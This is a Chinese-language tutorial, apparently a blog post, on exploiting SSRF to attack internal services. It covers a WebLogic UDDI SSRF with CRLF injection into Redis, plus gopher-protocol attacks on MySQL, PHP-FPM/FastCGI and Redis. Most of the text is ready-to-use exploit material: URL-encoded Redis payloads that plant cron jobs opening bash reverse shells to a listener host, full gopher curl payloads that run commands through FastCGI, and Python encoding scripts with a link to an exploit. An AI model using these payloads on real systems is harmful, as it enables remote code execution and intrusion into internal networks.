ssrf攻击内网应用

一、weblogic ssrf攻击redis

  1. Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进一步实现端口探测。该漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp,我们使用burpsuite访问如下url进行测试。
http://192.168.80.170:35402/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.40.155:80
  • 可访问的端口,一般返回error code
image.png
  • 访问非http协议,一般返回did not have a valid SOAP content-type
image.png
  • 端口关闭,一般返回could not connect over HTTP to server
image.png
  1. Weblogic SSRF支持通过crlf注入的方式来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
  • 发送如下3条命令,写入定时任务反弹shell:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
  • 进行url编码:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
  • 通过如下链接发送出去,nc监听端口,可成功getshell。
http://192.168.88.152:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.3:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

二、结合gopher协议实现进一步攻击

SSRF主要是使用get请求,攻击不需要授权的应用,但是如果目标站点支持gopher协议,就可以扩大我们的攻击面。Gopher 协议是 HTTP 协议出现之前,在 Internet 上常用的一个协议,利用此协议可以构造GET、POST 请求,攻击内网中的redis、fastcgi、mysql等。
值得注意的是,gopher协议在JDK1.8版本中被彻底移除了,JDK1.6、1.7也只有个别版本支持,所以Java ssrf支持的协议比较有限,可以通过import sun.net.www.protoocol看到支持哪些协议。在php类型的站点中,如果目标支持curl扩展,则可以使用gopher协议,curl支持的协议如下图:

image.png

1.gopher攻击MySQL

MySQL有密码和无密码的认证方式不一样,无密码认证时直接发送TCP/IP数据包即可访问。如果内网中的mysql数据库存在无密码的用户,可结合gopher协议进行攻击。

  1. 首先使用tcpdump监听3306端口。
    tcpdump port 3306 -w mysql.pcapng
image.png
  1. 然后开启MySQL终端,查询一些信息,最后记得exit退出。
    mysql -h192.168.40.155 -uusernopass
image.png
  1. 使用wireshark打开mysql.pcapng,随便选一个包,追踪TCP流,提取request包的原始数据。
image.png
  1. 把原始数据保存成一行,然后使用如下脚本进行编码,得到payload。
#encoding:utf-8

def result(s):
    a=[s[i:i+2] for i in xrange(0,len(s),2)]
    return "curl gopher://192.168.40.155:3306/_%" + "%".join(a)

if __name__ == '__main__':
    import sys
    s=sys.argv[1]
    print result(s)
python mysql_gopher.py 4200000185a63f20000000012d0000000000000000000000000000000000000000000000757365726e6f7061737300006d7973716c5f6e61746976655f70617373776f726400210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d697420310f0000000373686f77206461746162617365730100000001
image.png
  1. 使用curl命令发送payload,并将输出结果保存成mysql.txt。
curl gopher://192.168.40.155:3306/_%42%00%00%01%85%a6%3f%20%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%75%73%65%72%6e%6f%70%61%73%73%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%01%00%00%00%01 --output - > mysql.txt
image.png
  1. 使用strings命令读取mysql.txt,获得输出结果。
strings mysql.txt
image.png

2.gopher攻击fastcgi

php-fpm一般监听在127.0.0.1的9000端口上,当存在未授权访问漏洞时,利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。

前提条件:
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
libcurl版本>=7.45.0(curl版本小于7.45.0时,gopher的%00会被截断)
知道服务器上任意一个php文件的绝对路径,例如/usr/local/lib/php/PEAR.php

exp下载地址:
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

  1. 首先监听2333端口的流量,并将输出保存成1.txt
nc -nvvlp 2333 > 1.txt
image.png
  1. 执行fpm.py,得到poc代码
python fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c '<?php echo `id`; exit;?>' -p 2333
image.png
  1. 使用如下脚本,将poc代码进行编码,得到gopher攻击的payload
import urllib

def go():
    f = open("1.txt")
    content = f.read()
    print urllib.quote(content)
 
if __name__ == "__main__":
    go()
image.png
  1. 使用curl命令发送payload,成功执行了系统命令
curl -v "gopher://127.0.0.1:9000/_%01%01%96%A2%00%08%00%00%00%01%00%00%00%00%00%00%01%04%96%A2%01%E7%00%00%0E%02CONTENT_LENGTH24%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%96%A2%00%00%00%00%01%05%96%A2%00%18%00%00%3C%3Fphp%20echo%20%60id%60%3B%20exit%3B%3F%3E%01%05%96%A2%00%00%00%00"
image.png

3.gopher攻击redis

如果内网中的redis存在未授权访问漏洞,当Redis服务以root 权限运行时,利用 Gopher 协议攻击内网中的 Redis,通过写入定时任务可以实现反弹shell。

  1. 使用socat进行端口转发,将本地的4444端口转发到目标的6379端口,此时访问本地的4444端口,其实是访问目标的6379端口。
socat -v tcp-listen:4444,fork tcp-connect:192.168.88.158:6379
  1. 执行以下bash脚本

bash redis_cron.sh 127.0.0.1 4444

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
image.png
  1. 捕获到攻击redis的数据包,保存成socat.log
> 2019/02/01 02:04:10.385362  length=90 from=0 to=89
*3\r
$3\r
set\r
$1\r
1\r
$63\r



*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1



\r
< 2019/02/01 02:04:10.387206  length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.390057  length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/02/01 02:04:10.392226  length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.394801  length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/02/01 02:04:10.396341  length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.399187  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/02/01 02:04:10.409391  length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.419846  length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2019/02/01 02:04:10.420636  length=5 from=0 to=4
+OK\r
  1. 使用以下脚本将数据包进行转码,得到poc

python tran_payload.py socat.log

*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
注意:$63表示字符串长度为63个字节,如果要换IP和端口,前面的$63也需要更改
#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第2、3字符串是否为\r
        elif line[-3:-1] == r'\r':
            # 如果该行只有\r,将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp
image.png
  1. 使用curl命令进行测试,成功接收到反弹shell
curl -v 'gopher://192.168.88.158:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
image.png

参考:

https://blog.chaitin.cn/gopher-attack-surfaces/
https://coomrade.github.io/2018/10/28/SSRF攻击MySQL/
https://joychou.org/web/phpssrf.html#directory099269053851112076

推荐阅读更多精彩内容

  • 关于Mongodb的全面总结 MongoDB的内部构造《MongoDB The Definitive Guide》...
    中v中阅读 21,401评论 2 78
  • 0x00原理 一般的请求:客户端发起请求,服务器响应。 另外一种请求:客户端发起请求(向服务端提供一个URL),服...
    0x525c阅读 990评论 0 1
  • 这是我在面试中被问到一些问题,主要偏向基础知识,如有错误,还望指正。 1. sql注入 1. 原理 攻击者通过构造...
    SunJ3t阅读 474评论 0 5
  • Crypto rsa systemwriteup 拿到代码,粗略一看,嗯首先有个len为38的flag,另这个fl...
    合天智汇阅读 329评论 0 0
  • 还有几个小时,我的2018,就要真正地离开我了。他走的毅然决然,奈我如何挽留,他都不动声色地要离开。 大家都翘首以...
    尧五月阅读 71评论 0 1